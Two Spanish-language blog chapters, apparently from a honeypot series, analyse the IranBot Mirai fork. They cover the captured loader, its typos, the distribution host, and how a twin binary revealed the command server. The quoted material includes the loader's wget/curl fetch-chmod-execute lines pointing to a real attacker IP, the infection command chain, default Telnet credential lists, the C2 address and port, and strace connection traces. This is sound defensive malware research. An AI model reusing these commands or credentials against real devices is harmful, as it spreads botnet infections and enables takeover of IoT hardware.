bytes y es lo más simple que puede ser: catorce líneas de descarga, una por arquitectura de CPU. cat.sh · recortadowget hxxp://176.65.139[.]206/iran.x86_64 -O x86_64 || curl … ; chmod 777 x86_64; ./x86_64 catloader; wget hxxp://176.65.139[.]206/iran.mips -O mips || curl … ; chmod 777 mips; ./mips catloader; # … y así con: aarch64 · m68k · mipsel · powerpc · sparc · sh4 · arc # i486 · armv4l · armv5l · armv6l · armv7l (catorce en total) La escopeta de siempre: dispara los catorce y que arranque el que case con la CPU de la víctima; los otros trece fallan - y uno ni llegó a descargarse. Prueba wget y, si no está, curl - cinturón y tirantes, como el cascadeo obstinado de Sysorbit. Y lanza cada binario con un argumento, catloader, que es la etiqueta de campaña: el bot se la reportará a su central para que sepan por qué vía llegó. En Cling esa etiqueta era telnet; aquí es catloader. Y ahora la segunda errata, que esta sí hace daño: la línea del aarch64wget …/iran.aarch64 -O aarch64 ; chmod 777 aarch64; ./aarch64catloader; ↑ falta el espacio Se comieron el espacio entre el fichero y su argumento. Así que en cualquier aparato con CPU aarch64 (que son unos cuantos: routers modernos, cámaras, cajas Android de televisión) el bicho se descarga, se le dan permisos… y luego se intenta ejecutar un fichero llamado aarch64catloader que no existe. Esa infección no arranca nunca. El operador está perdiendo una arquitectura entera por un espacio. Y el remate: no es un tercer fallo, es el mismoEntre los seis ficheros que guardó el cebo hay uno que no es un binario: son 276 bytes de HTML, la página de error por defecto de un Apache/2.4.58 (Ubuntu). Un 404. ¿De qué arquitectura? Del aarch64 - la misma del espacio que falta. Así que en esta campaña la errata ni siquiera llegó a importar: el fichero no estaba en el servidor. Un aparato aarch64 se habría bajado 276 bytes de HTML, les habría dado chmod 777 y habría intentado ejecutar algo que no existe, por partida doble. Eso es lo observado: una de las catorce no estaba disponible en el momento del ataque. Y aparte, la lectura, que vuelve al final del capítulo: encaja con que esa mañana estuvieran tocando el directorio en vivo, mientras su bot infectaba. 03Las huellas y un nombre Lo primero fue lo de siempre: coger el hash del binario de 64 bits y preguntarle a VirusTotal. Veintitrés motores de setenta y cinco lo daban por malo el día que lo miré, y la mayoría decía lo mismo: trojan.mirai, gafgyt. El resto, en genéricos - «malicioso», «ELF sospechoso». En MalwareBazaar no estaba: nadie lo había subido nunca. Con eso, el reflejo es archivarlo como «otro Mirai» y pasar página. Pero quien compila un fork deja huellas suyas, y esas sí son concretas. Saqué las cadenas de texto del binario: strings · selecciónNot a mirai at all # el chiste del autor Death to israel # una consigna, escrita a mano !selfrep telnet !selfrep realtek # las dos órdenes de autorreplicación selfrep.realtek # cómo se marca cuando se propaga solo 176.65.139.206 psize= srcport= httpmode= gport= gre_proto= msg= usleep= root · user · postgres · xc3511 · 888888 · default · password · 12345 5up · klv1234 · anko · 7ujMko0admin · ikwb · dreambox Ese Not a mirai at all («no es un Mirai en absoluto») es una pulla del autor a quien vaya a abrir el fichero. Y es justo lo que lo delata, porque está documentado: Nokia Deepfield publicó una ficha de esta familia, y ahí están el chiste, la consigna, los siete parámetros exactos, las dos órdenes de autorreplicación, el marcador selfrep.realtek y hasta la convención de nombres del reparto - iran.\u0026lt;arquitectura\u0026gt;, que es literalmente lo que descarga mi cat.sh. Coinciden todos. Lo comprobé además en dos binarios distintos del mismo paquete, el x86-64 y el m68k, que traen exactamente las mismas cadenas. No es un Mirai genérico: es un fork concreto, con nombre propio y ficha pública. Se llama IranBot. Sobre el nombre, y hasta dónde llegaEl autor bautizó sus ficheros iran.* y dejó una consigna política dentro del binario. Eso es lo que él escribió, y sirve para exactamente una cosa: identificar la familia. No dice de dónde viene, ni quién lo paga, ni desde dónde se opera. Un texto dentro de un ejecutable es tan barato de poner como de mentir, y el que quiere despistar empieza justo por ahí. Aquí se queda como marca, y no lo estiro ni un milímetro más. Lo que sí me hizo gracia fue volver a VirusTotal con el nombre ya sabido: de los veintitrés motores que lo detectan, ninguno lo llama «IranBot». Todos lo archivan como Mirai o Gafgyt del montón. Su autor dejó escrito dentro del binario que aquello «no es un Mirai en absoluto», y veintitrés antivirus le han contestado que sí. 04Ya estaba aquí Con el nombre en la mano hice lo que hago siempre antes de cantar nada: buscar si me sonaba de algo. Y busqué también dentro de mi propio blog, sin ninguna esperanza. Sale. En el capítulo 7, publicado el 23 de agosto - dieciocho días antes de que esto entrara por el telnet. capítulo 7 · lo primero que hace Sysorbit al instalarsepm uninstall com.manji.bot 2\u0026gt;/dev/null pm uninstall com.iranbot.load 2\u0026gt;/dev/null ← aquí pm uninstall com.android.log_handler_v2 2\u0026gt;/dev/null pm uninstall com.oreo.mcflurry 2\u0026gt;/dev/null # … y siete más Aquello era Sysorbit, un bot de Android que entró por el cable de depuración. Lo primero que hace al llegar es desalojar a la competencia: recorre una lista de bots rivales y los va desinstalando uno por uno para quedarse el aparato en exclusiva. La misma guerra entre delincuentes que ya había visto en RedTail, pero en Android. Y en esa lista de enemigos estaba el nombre que yo acababa de averiguar por mi cuenta, dieciocho días después. Lo tenía publicado y no lo sabía. Cuidado con lo que prueba esto, exactamenteLo que coincide es el nombre. com.iranbot.load es un paquete de Android; lo que entró por mi telnet es un ELF de Linux, y la ficha pública de IranBot describe binarios para routers y cacharros IoT, no para móviles. No puedo afirmar que sean la misma cosa. Puede ser el mismo autor con dos ramas, puede ser alguien que le copió el nombre (se hace constantemente), o puede ser casualidad. Lo que sí es un hecho es que en agosto alguien ya consideraba a un «iranbot» rival suficiente como para ir a buscarlo aparato por aparato. Hay una segunda coincidencia, y esta sí se mide. El centro de mando de Sysorbit vivía en 176.65.139.248. El que me atacó ahora es 176.65.139.206. El mismo bloque de 256 direcciones. De ese bloque ya escribí en el capítulo 11, y con una precisión que ahora viene bien: el rango está a nombre de PFCLOUD-NET, pero quien lo anuncia a internet es otra empresa distinta, AS219502 · Storm Industries LLC. Son dos cosas que es muy fácil confundir, y según por cuál preguntes te sale una respuesta o ninguna. Ahora bien, compartir bloque no es compartir dueño. Un /24 de un proveedor así lleva inquilinos que no tienen nada que ver entre sí, y eso ya me tocó comprobarlo enumerando uno. Lo único que dice esta coincidencia es dónde se compra este tipo de alojamiento - y la respuesta lleva ya unos cuantos capítulos siendo la misma dirección. 05La caja se vacía el mismo día Un par de horas después del ataque volví a mirar el servidor del que se había descargado todo. Pedí el índice del directorio raíz: el índice del reparto, un par de horas despuésIndex of / [ICO] Name Last modified Size Description ──────────────────────────────────────────────────────── Apache/2.4.58 (Ubuntu) Server at 176.65.139.206 Port 80 Vacío. Ni cat.sh, ni un solo iran.*. Podría ser que solo hubieran apagado el listado del directorio y los ficheros siguieran ahí, así que pedí uno por su nombre exacto: 404. Borrados de verdad. Shodan guarda el tamaño de esa página de índice cada vez que pasa por delante, y ese número sube y baja según cuántos ficheros haya listados. Su histórico cuenta la historia sola: tamaño del índice · las tres primeras filas, según los pasos de Shodan30 de agosto 746 B # una carpeta, bins/ 9 de septiembre 556 B # lo vacían 10 de septiembre 932 B # bins/ otra vez, y un guion — pero NO los míos ────────────────────────────────────────────── 10 de septiembre vacío # esto ya no es Shodan: es mi consulta Ese 932 me hizo dudar, así que fui a mirar qué listaba exactamente. Ni cat.sh ni un solo iran.*: lo que Shodan vio esa madrugada era la carpeta de siempre y un guion de otra campaña. Y las cuentas cuadran al byte - sobre el índice vacío de 556, una fila de carpeta y una de fichero suman exactamente esos 932. Ese directorio se toca a diario. Y mis ficheros vivieron en una ventana más corta de lo que yo creía: aún no estaban cuando Shodan pasó, y ya no estaban cuando miré yo. Y no fui el primero en tenerla: la muestra ya estaba en VirusTotal un buen rato antes de llegar a mi cebo. Encaja además con el 404 que el cebo guardó durante el propio ataque: ya entonces faltaba una de las catorce arquitecturas. Y hay algo más que no esperaba, y es una ausencia. URLhaus (el catálogo público donde se reportan las direcciones que reparten malware) tiene treinta y cuatro de esa misma caja, la última del 7 de septiembre. Ninguna es cat.sh. Ninguna es un iran.*. Ni en MalwareBazaar, donde tampoco está ninguno de los cinco. Registro haberlo hay (los cinco ficheros llegaron a VirusTotal esa misma madrugada, y con los nombres iran.* puestos, así que alguien más los cazó). Lo que no hay es nadie que la haya contado: ni una URL reportada, ni una entrada en los indicadores de la ficha, ni un análisis. De esta oleada, que yo haya podido encontrar, no hay más análisis público que este capítulo. Lo que esto sí significa, y lo que noSignifica que el guion que pega el escáner ya no está: cualquier aparato que intente bajarse cat.sh se come un 404. Ojo con estirarlo, porque el bot instalado no se propaga con ese guion: para eso lleva dentro sus propias rutas (/telnet.sh, /mips y /mipsel), y de esas no sé si siguen ahí. Averiguarlo sería pedirle ficheros al servidor del atacante, y eso no se hace. Y desde luego no significa que la botnet esté apagada. El servidor de reparto y el centro de mando son dos servicios distintos, y del segundo aún no sé nada - ni siquiera dónde está. Eso es el capítulo siguiente. ¿Y quién es la caja? OSINT pasivo, bases de datos de terceros, sin tocarla: DatoValor Denuncias100 % de confianza de abuso · 560 reportes (AbuseIPDB, 10-sep-2026) Vista desde29 de agosto (Shodan) Puertos abiertos22 · 80 · 8098 Etiquetasopen-dir · scanner Rango176.65.139.0/24 · a nombre de PFCLOUD-NET · lo anuncia AS219502 · Storm Industries LLC (NL) Un tropiezo que ya me ha pasado dos vecesShodan decía que esa IP era de otra empresa, en otro país. Es falso - o más bien, está caducado: el registro autoritativo dice AS219502, Storm Industries, Países Bajos. En los rangos de alojamiento a prueba de denuncias los datos rotan deprisa y el buscador se queda con la foto vieja. La ASN se comprueba en el registro, no en el buscador. Van dos veces que me lo recuerdo a mí mismo. 06El espécimen Seis ficheros guardó el cebo: el guion cargador, cuatro binarios y el 404. De las catorce arquitecturas, el cebo llegó a pedir cinco antes de que se cortara la sesión - cuatro binarios y un 404. Las otras nueve no se pidieron nunca. ESPÉCIMEN 007 · ELF ×4 + cargador IranBot · fork de Mirai VirusTotal lo canta trojan.mirai - tiene nombre propio ◈ VIVO · NO EJECUTAR TipoELF estáticos · stripped · x86-64 · m68k · MIPS · MIPS little-endian Tamaño164.272 B (x86-64) · 182.212 B (m68k) · 209.344 B (mips) · 211.616 B (mipsel) Entregaescopeta de 14 arquitecturas por Telnet · telnet/telnet Etiqueta de campañacatloader (argumento con que se lanza) Funciónbot de DDoS con autorreplicación - se destripa en el Cap. 22 C2sin identificar todavía - se destapa en el Cap. 22 07Indicadores (IOCs) De la infección. Los de dentro del bicho (empezando por a quién llama) van en el próximo. TipoValor IP atacante y servidor de reparto176.65.139.206 (:80 Apache · :22 SSH) · AS219502 Storm Industries LLC URLs de repartohxxp://176.65.139[.]206/cat.sh hxxp://176.65.139[.]206/iran.\u0026lt;arch\u0026gt; (14 arquitecturas) hxxp://176.65.139[.]206/telnet.sh · hxxp://176.65.139[.]206/mips · hxxp://176.65.139[.]206/mipsel (las tres las construye el bot en ejecución: dentro lleva la ruta, y el host se lo pone de la misma dirección que usa para el mando) Credenciales usadastelnet/telnet (éxito) · root/icatch99 (fallo) Cadena de infeccióncd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://\u0026lt;ip\u0026gt;/cat.sh; chmod cat.sh; sh cat.sh; Etiqueta de campaña (argv)catloader User-Agent fijoMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 - el que usa su método httpmode= Puertos que lleva fijos2000 (mando) · 9034/udp (el Realtek) · 23 (su escáner de telnet) Marcadores de familia (cadenas)Not a mirai at all · Death to israel · selfrep.realtek Órdenes y parámetros!selfrep telnet · !selfrep realtek · psize= srcport= httpmode= gport= gre_proto= msg= usleep= Vector de autorreplicacióntelnet por contraseñas de fábrica + Realtek Jungle SDK (CVE-2021-35394, UDP 9034) - cuando el operador se lo ordena, no por su cuenta SHA-256 · cargador6a4503094d0031ae36c8b27cc36696087831901dfa421675ccb7509c9d7e58da (cat.sh, 1.903 B) SHA-256 · binariosf35bf04216d14180f9d28f6770a5722557f4a979d746f4ef664419363d0b755b (x86-64) 3f21d6f8621e38d2bc923dfaaf0861887c6ca0def522ae4dea0f9b840bf1d39a (m68k) 064d93495573a536517fa7ddf9fb6d3c4cddd4c7fdc61d4f90d12629cad690e6 (mips) ce452891a6e017f2523f8c7005df1180003ab3e96916774efb432bcc2a8e657f (mipsel) Los hashes caducan en cuanto el operador recompile, y recompila. Lo que aguanta es el resto de la tabla: catloader, Not a mirai at all y la cadena de cd encadenados siguen ahí en la siguiente build. Continuará - con un hueco del tamaño de una casa. Tengo el bicho, tengo quién lo repartió y tengo su nombre. Lo que no tengo es a quién llama. Busqué la dirección de su central escondida dentro del binario y no la encontré: ninguno de los centros de mando que la ficha pública documenta, ni un dominio en texto claro, ni el número por ninguna parte. Cuatro caminos, y ninguno llevaba a ningún sitio - hasta que caí en que lo que me hacía falta era otro binario, y no era mío. Adelanto el final: la respuesta estaba en el volcado de ahí arriba, y yo pasé por encima. En el Capítulo 22. 🍯","date":"2026-09","fam":"IranBot","n":21,"spec":"IranBot (fork de Mirai)","sum":"Un escáner automático encontró el telnet del cebo y, dieciocho segundos después, ya había un binario dentro. La contraseña era «telnet». El cargador que soltó viene con dos erratas del operador, una de las cuales rompe una infección entera. Y cuando por fin le puse nombre a la familia (IranBot, un fork de Mirai con ficha pública) resultó que ese nombre ya estaba escrito en este blog desde agosto: lo había puesto un bot rival, en la lista de competidores que desinstala al llegar.","t":"Me lo presentó su enemigo","tags":["IranBot","Mirai","fork","botnet","IoT","telnet","honeypot"],"tipo":"Botnet IoT (DDoS)","url":"/capitulo-21/"},{"body":"En el capítulo anterior cacé la infección y le puse nombre a la familia. Faltaba lo único que de verdad importa de un bot: a quién obedece. Un bicho de la escuela Mirai lleva la dirección de su centro de mando escrita dentro. No la pide, no la negocia, no la resuelve por ahí: la trae puesta de fábrica, porque quien lo compiló la escribió en el código antes de darle a compilar. Encontrarla suele ser cuestión de mirar en el sitio correcto. Miré en cuatro sitios correctos. En ninguno estaba. 01La suposición fácil Lo primero que se prueba es lo más tonto, porque acierta más veces de las que debería: que el servidor que reparte el bicho sea también el que lo manda. Una sola caja para todo - y ya vimos en el capítulo anterior que a este operador no le da ninguna vergüenza mezclar. Dentro de un programa, una IP puede estar de dos maneras: como texto legible, o como el número de cuatro bytes que el sistema maneja al abrir la conexión (176.65.139.206 es b0 41 8b ce). Fui a por el número, que es la forma que no sale en un volcado de cadenas: lo busqué en los cuatro binarios, en los dos órdenes posibles en que un procesador puede colocarlo. No están. Ni en el x86-64, ni en el m68k, ni en ninguno de los dos MIPS. Segundo sitio. La ficha pública de la familia lista los centros de mando de sus campañas anteriores - tres, más dos servidores de reparto, aunque en direcciones son solo cuatro: una hace los dos papeles y otra nunca llegó a tener número. Si este build fuera una recompilación perezosa de uno viejo, podría llevar todavía alguna puesta. Las busqué en las cuatro arquitecturas, como número y como texto. Ninguna. Y ya de paso, lo otro que podría ser: un nombre de dominio, que sí sería texto legible. Repasé todas las cadenas de los cuatro ficheros. Ni un dominio. Ni uno solo. 02Ni cifrado, ni fuerza bruta Si no está a la vista, lo lógico es pensar que está escondido. Y el escondite clásico de esta escuela es un XOR: mezclar cada byte con una clave, que es lo más barato que existe y basta para que la dirección no salga en un volcado de cadenas. En el capítulo 4 le saqué la clave a un Mirai así, y era de un solo byte. Probé las 255 claves posibles, una por una, buscando en cada resultado algo con forma de IP o de dominio. Dieron algo dos, y ninguna resistió mirarla de cerca: los «resultados»clave 0x6f → 2.3.2.1 · 4.3.2.1 · 4.34.3.2 · 42.3.2.1 · 74.3.2.1 clave 0xee → 1.1.1.1 Basura. Números que salen por casualidad al descifrar código con la clave equivocada. Y hasta salió un 1.1.1.1, que es el que mejor pinta tenía de todos y tampoco era nada - un DNS público de Cloudflare que aparece por azar. Probé también las claves de broma que se repiten en este mundillo (DEADBEEF, BEEFDEAD) y nada. Cuarto intento, y el más torpe de todos. Se me ocurrió recorrer los cuatro binarios enteros buscando cualquier secuencia de cuatro bytes que pudiera leerse como una dirección plausible, y quedarme solo con las que aparecieran en los cuatro a la vez: si el centro de mando está en todas las builds, tiene que estar en esa intersección. Miles de candidatos. Refiné. En este tipo de binarios es frecuente encontrar la IP y el puerto muy cerca (a veces incluso juntos, dentro de la misma estructura que el código usa para abrir la conexión), así que filtré buscando esa combinación y me quedó una lista corta y muy prometedora. Fui a mirar qué había realmente en cada una de esas posiciones: los candidatos, mirados de cerca32.37.115.13 → en realidad es el texto \" %s\\r\" 49.46.48.13 → \"1.0\\r\" 47.115.104.10 → \"/sh\\n\" 62.32.27.91 → \"\u0026gt; \" + ESC + \"[\" No eran direcciones. Eran trozos de texto corriente que, leídos como números, parecen direcciones. El método no vale para este binario, y queda apuntado para no volver a caer: si buscas patrones en doscientos mil bytes, encuentras patrones. De los cuatro intentos no salvé nada. Cuatro caminos, y ninguno llevaba a ninguna parte. 03Y me equivoqué con el 8098 A estas alturas ya había escrito en mis notas algo que resultó ser falso, y prefiero contarlo que borrarlo. El servidor tiene tres puertos abiertos: el 22, el 80 (el Apache que reparte los binarios) y un tercero, el 8098, que no encajaba en ningún sitio. Fui a ver qué era: el 80 responde como Apache, y el 8098 responde con la página de error por defecto de un servidor escrito en Go. Otro programa distinto, en la misma máquina. Un servicio sin identificar, en Go, en la caja del atacante. Escribí: probable panel de control del operador. Y como el centro de mando no aparecía por ninguna parte, di un paso más y escribí que probablemente el 8098 fuera el C2. Las dos cosas las puse yo. No estaban en los datos. Fui a comprobarlo de la única manera decente que se me ocurrió: si ese puerto es del operador, tiene que ser raro. Pregunté cuántas máquinas había en internet, el día que lo miré, con el 8098 abierto. hosts con el puerto 8098 abierto455.427 Cuatrocientas cincuenta y cinco mil. Con nginx, con IIS, cámaras Hikvision, servidores de vídeo Emby y Jellyfin, proxies, lo que se te ocurra. Y la firma exacta de ese error de Go, que yo creía distintiva, sale en 316 máquinas de alojamiento perfectamente legítimo - Hetzner, Vultr, netcup, incluido un bloque de siete direcciones seguidas del mismo proveedor. No es el panel de nadie. Es un puerto alto cualquiera con un servicio en Go cualquiera, y lo más probable es que venga de serie en la imagen del VPS: un agente de monitorización, un proxy, cualquier cosa. Retiro las dos afirmaciones. No es un indicador, no se publica, y en la tabla del final no aparece. De dónde salía el errorDe un hueco. Me faltaba el C2, tenía un puerto sin explicar, y los junté. Después de mi teoría, el puerto seguía tan sin explicar como antes. 04El gemelo que me faltaba Se me estaba acabando el repertorio. Así que dejé de mirar el binario y me puse a leer otra vez la documentación pública de la familia - pero esta vez no el informe, sino el fichero aburrido que va al lado: la lista de indicadores, una línea seca por muestra. Una de esas líneas describe un build de julio así: ficha ajena · una muestra de julioiranbot x86_64 self-replicating build (iran.x86_64) static stripped non-PIE ELF, 164272 bytes PLAINTEXT hardcoded C2 103.83.87.122:8060 (no domain/DNS/crypto) Dos cosas de golpe. La primera: PLAINTEXT. En julio, el centro de mando de esta familia iba en texto claro. Sin cifrar. Yo llevaba dos días buscando un cifrado que a lo mejor no existía. La segunda me levantó de la silla: 164272 bytes. Mi binario pesa 164.272 bytes. El mismo número. Al byte. Dos ficheros compilados del mismo código, con el mismo compilador y las mismas opciones, salen del mismo tamaño; y si lo único que cambias es una dirección por otra de la misma longitud, sigue saliendo igual. Por sí solo no prueba nada (dos programas distintos pueden pesar lo mismo por casualidad), pero era la primera coincidencia que valía la pena perseguir. Y de ese build, el suyo, el centro de mando estaba publicado. Tenía el gemelo. La muestra está en MalwareBazaar, así que me la bajé al laboratorio. Con los dos ficheros delante, la pregunta deja de ser «dónde está el C2» y pasa a ser «en qué se diferencian», que es incomparablemente más fácil de contestar. el suyo contra el mío · byte a bytetamaño 164.272 B = 164.272 B bytes que difieren 1.130 # el 0,7 % del fichero Mil ciento treinta bytes de ciento sesenta y cuatro mil. Eso no es un fichero parcheado a mano: es el mismo código recompilado. Y buena parte de esas diferencias son desplazamientos de una unidad en direcciones internas - la pista de que algo, ahí dentro, creció exactamente un carácter. 103.83.87.122 tiene trece caracteres. 176.65.139.206 tiene catorce. Fui a la posición exacta donde el suyo guarda su centro de mando, dentro de su tabla de textos: la misma casilla, en los dos ficheros … /dev/watchdog0 · /dev/watchdog1 · Not a mirai at all · Death to israel · él → 103.83.87.122 ← su C2, publicado yo → 176.65.139.206 ← el mío · stop · !kill · ping · x86_64 · pong %s · !selfrep telnet · off · … Misma tabla, misma posición, mismos vecinos a izquierda y a derecha. Esa dirección ocupa la casilla del centro de mando, no la del servidor de reparto. Y la posición no deja dudas sobre qué campo es el C2 en esta build, porque en el gemelo el reparto tenía su propia casilla, aparte y con otro formato: la misma dirección, pero con el :80 pegado detrás. Dos trabajos, dos ranuras. La que yo tenía delante era la del mando. Y aquí viene la parte que escuece. Esa dirección la tenía yo delante desde el primer día. Es la única IP escrita en texto claro dentro del binario y salió en el primerísimo volcado de cadenas, el del capítulo anterior. La descarté sin pensarlo dos veces («claro, es el servidor del que se ha descargado, la lleva puesta para propagarse»). Y lo es, también lo es. Pero además es su centro de mando, y eso no lo dice la cadena: lo dice la casilla que ocupa. Estuve dos días buscando un número escondido mientras la respuesta estaba escrita en letras, entre un chiste y una consigna. Y ahí se entiende por qué la caza de estructuras del apartado 2 no podía salir bien: yo buscaba una IP y un puerto juntos, y aquí la IP no es un número, es texto - y el puerto ni siquiera está cerca. Faltaba el puerto, que ese sí es un número dentro de una instrucción. También lo resuelve el gemelo: los dos binarios montan la conexión con la misma instrucción, en la misma posición del fichero. la instrucción que fija el puertoél → 66 c7 84 24 72 1f 00 00 1f 7c # = puerto 8060 yo → 66 c7 84 24 72 1f 00 00 07 d0 # = puerto 2000 └──── idéntico byte a byte ────┘ └──┬──┘ solo cambian estos dos Ocho bytes iguales (la instrucción, el registro, el hueco de la pila donde escribe) y dos que no. Los suyos valen 8060. Los míos, 2000. 176.65.139.206:2000. En texto claro, sin cifrar, sin dominio, sin nada. La IP sí está catalogada por ahí como centro de mando - con otros puertos, que eso da para otra historia. El 2000 no lo ha publicado nadie: no está en la ficha de la familia, ni en MalwareBazaar, ni en los catálogos de indicadores que he podido mirar. Por qué funciona estoEl análisis diferencial no es más que restar. Si tienes dos versiones del mismo programa y de una sabes lo que contiene, todo lo que no cambia deja de importarte y te quedas mirando solo lo que sí. Aquí redujo un fichero de ciento sesenta y cuatro mil bytes a mil ciento treinta, y dentro de esos estaba lo que buscaba. Lo que me hacía falta no era una herramienta mejor: era el otro fichero. 05Las otras tres arquitecturas El diferencial solo lo pude hacer con el x86-64, porque es el único que tiene gemelo publicado. Los otros tres hay que comprobarlos por otra vía, y aquí toca separar lo que sé de lo que supongo. Lo que sé: los cuatro llevan escrito 176.65.139.206, cada uno en la posición que le corresponde según su compilación. Y en los cuatro aparece la pareja de bytes 07 d0, que es el 2000. BinarioLa IP, escrita en la posición¿Aparece 07 d0? x86-64116.337sí - y probado instrucción a instrucción m68k154.873sí MIPS178.228sí MIPS little-endian180.500sí Lo que no sabía: si en esos tres esos dos bytes son de verdad el puerto. Dos bytes cualesquiera aparecen por casualidad en un fichero de doscientos mil, y probarlo exigiría desensamblar tres arquitecturas más. Eso era todo lo que tenía cuando monté la tabla, y no daba para afirmarlo. Así que lo comprobé por la vía directa: encendí los cuatro y miré a dónde llamaban. Dónde está la línea, y por qué la muevoEsto no se hace en el cebo - es una máquina con IP pública. Lo hice en una jaula: aislada, sin ruta a ninguna parte, usuario sin privilegios, y revertida al terminar. Ni un paquete salió al mundo. Observar encerrado no es soltar; la diferencia es la jaula. (Misma línea que moví en los capítulos 13 y 15.) Lo primero que escribe en pantalla al arrancar son las dos frases que me habían servido para ponerle nombre: Not a mirai at all y Death to israel. Y después, los cuatro a lo mismo: strace · el de 64 bits, montando la llamada (recortado: fuera el «[pid 908]» de cada línea)socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 6 setsockopt(6, SOL_TCP, TCP_NODELAY, [1], 4) = 0 setsockopt(6, SOL_SOCKET, SO_KEEPALIVE, [1], 4) = 0 connect(6, {sa_family=AF_INET, sin_port=htons(2000), sin_addr=inet_addr(\"176.65.139.206\")}, 16) = -1 EINPROGRESS (Operation now in progress) Ahí está la llamada entera. Abre el socket; pide TCP_NODELAY, que es «mándame los paquetes según los tengas, no esperes a juntar unos cuantos»; pide SO_KEEPALIVE, que es «no me dejes caer la línea aunque estemos un rato callados» - las dos cosas que pediría alguien que espera órdenes cortas y a ratos. Y marca el número. Ese EINPROGRESS del final significa «estoy en ello»: en la jaula no hay línea, así que ahí se queda y vuelve a probar en bucle. Y las otras tres, exactamente igual: los mismos dos setsockopt antes de cada llamada, sin una excepción. A dónde llaman, las cuatro a lo mismo: las cuatro muestras · solo la conexiónx86-64 connect(6, … htons(2000) … inet_addr(\"176.65.139.206\")) = -1 EINPROGRESS m68k connect(3, … htons(2000) … inet_addr(\"176.65.139.206\")) = -1 EINPROGRESS mips connect(3, … htons(2000) … inet_addr(\"176.65.139.206\")) = -1 EINPROGRESS mipsel connect(3, … htons(2000) … inet_addr(\"176.65.139.206\")) = -1 EINPROGRESS Veinticinco conexiones entre las cuatro muestras, en ventanas de veinticinco a treinta segundos cada una, y un único destino. Ya no es «muy probable»: es lo que hacen. 06Depende de qué reloj mires Con el gemelo delante se puede medir algo que normalmente solo se intuye: cuánto cambia esta gente entre una campaña y la siguiente. El código, casi nada. Mil ciento treinta bytes de ciento sesenta y cuatro mil, y de esos, la inmensa mayoría son direcciones internas corridas de sitio. Instrucciones con cambio de verdad hay cuatro: una es el puerto (de 8060 a 2000) y las otras tres son punteros que en julio señalaban a una segunda dirección y ahora señalan a la única que queda. Porque el build de julio llevaba dos dentro: una para el mando y otra, con su puerto pegado, para repartir. El de septiembre ha borrado la segunda. Y hay una manera bonita de comprobarlo sin argumentar nada: las direcciones internas que están antes de la ranura borrada se corren +1, y las que están después, −16. Uno es el carácter que creció la IP; dieciséis es lo que mide la ranura que desapareció, menos ese uno. La aritmética cuadra exacta. No hace falta creerme: sale sola. Con eso en la mano se puede volver sobre algo que dice de esta familia el informe que me sirvió para ponerle nombre. Porque la ficha de Nokia Deepfield (la del capítulo anterior, la de los marcadores) no se titula «IranBot». Se titula Cattle, not pets: ganado, no mascotas. Y su tesis es que esto es una operación de usar y tirar - construir barato, quemar rápido, seguir. Y una confesión pequeña, antes de seguirCuando medí la ofuscación y vi que iba hacia atrás (los builds viejos cifraban su configuración, el mío la lleva en texto plano) lo escribí como hallazgo mío. No lo es: está en la primera página de ese informe, que yo tenía abierto. Buscar si ya lo ha contado alguien va antes de cantarlo, y aquí me lo salté con el documento delante. Así que lo que sigue no es llevarle la contraria a nadie: es medirlo por mi cuenta y ver dónde coincide y dónde no. Y lo primero que sale al medir es que no hay un reloj. Hay cinco, y no dicen lo mismo. QuéCuánto dura¿«Usar y tirar»? Los ficheros colgados en el repartohorassí La campaña que sirve ese host2-3 díassí El host de reparto≥ 10 días, y sigue en pieno El centro de mandosemanasno - no son «días» El código del botprácticamente invariableno Lo que va y viene a toda velocidad es la mercancía: los ficheros duran horas, la campaña dura días. Lo que no se mueve es todo lo demás - la caja sigue en pie, el mando aguanta semanas y el programa es el mismo de julio. Y en el cuarto reloj coincido con ellos: su informe habla de «un C2 nuevo cada pocas semanas», y eso es exactamente lo que sale al contar las fechas. Centro de mandoVentana observadaVida femboys.chloebulldog.online:44510 (resolvía a 45.205.1.36)junio → inalcanzable en julio4-6 semanas según se cuente desde el dominio o desde la IP 103.83.87.122:8060el build que lo lleva es del 6 de julio; el puerto ya no asoma a finales de agostosiete semanas o más 176.65.139.206:2000desde el 10 de septiembreen curso Semanas, no días - y las horquillas son anchas a propósito, porque las fechas de partida no son de cuándo el operador puso el servidor sino de cuándo alguien lo vio por primera vez, que no es lo mismo. Hay algo más que no me esperaba: los servidores que la ficha da por caídos siguen encendidos y siguen denunciándose. Uno va por 686 denuncias y otro por 871, los dos con reporte de ayer. Ahora bien, cuidado con lo que eso significa: uno de ellos hoy está en otra empresa, otro país y sirviendo otra cosa. Puede ser el mismo dueño aguantando, o puede ser que el proveedor haya revendido la dirección y las denuncias sean del inquilino nuevo. No lo sé, y el capítulo anterior avisa justo de esto: en estos rangos los datos rotan deprisa. Donde la caracterización que a mí me llegó sí se cae es en una parte que no está en el informe: que modifiquen el código para despistar a los analistas. Eso no lo dice Deepfield (dice más bien lo contrario) y desde luego no lo dicen mis dos ficheros: El diff es del 0,7 %, y se explica entero por el cambio de dirección. Conservan las dos cadenas que más los delatan. Not a mirai at all y Death to israel son un regalo para cualquiera que escriba reglas de detección - es lo primero que quitaría alguien que quisiera esconderse. Siguen ahí. Y están las dos erratas del cargador del capítulo anterior, una de las cuales tira por tierra una arquitectura entera. Para este linaje, la palabra no es «evasivo». Es rápido y descuidado. Un límite que no se puede redondearEse «2-3 días» de la segunda fila está medido para las campañas de este host, entre el 31 de agosto y el 10 de septiembre. Es un dato cerrado. Lo que no puedo decir es que la familia recompile cada pocos días: para eso solo tengo los builds publicados más el mío, y con eso no se sostiene ni se refuta. Son dos afirmaciones distintas y solo una está resuelta. Y una tentación que hay que resistirEsa misma caja repartía, unos días antes, otra campaña con otro cargador (w.sh) roto de una manera parecida y peor: ocho de sus doce líneas descargan un fichero y ejecutan otro. Es tentador juntarlo y decir «mira, siempre igual». No se puede. Abrí el binario que reparte ese guion y no tiene ni uno de los marcadores de IranBot: ni el chiste, ni la consigna, ni las órdenes, ni los parámetros. Otro tamaño, otra nomenclatura, otra etiqueta de campaña. Es otra familia en la misma caja, y lo único que comparten es el servidor - que es exactamente lo que el capítulo anterior dice que no vale como vínculo. Si son las mismas manos, no lo sé. Que la caja tiene más de un inquilino, eso sí. 07Lo que no sé Aquí es donde el capítulo se para, porque hay una pregunta que no puedo contestar y no voy a fingir que sí. ¿Sigue vivo ese centro de mando? Lo que sé con certeza es que el reparto se vació el mismo día: quien pida cat.sh se come un 404. Pero el reparto y el mando son dos servicios distintos en la 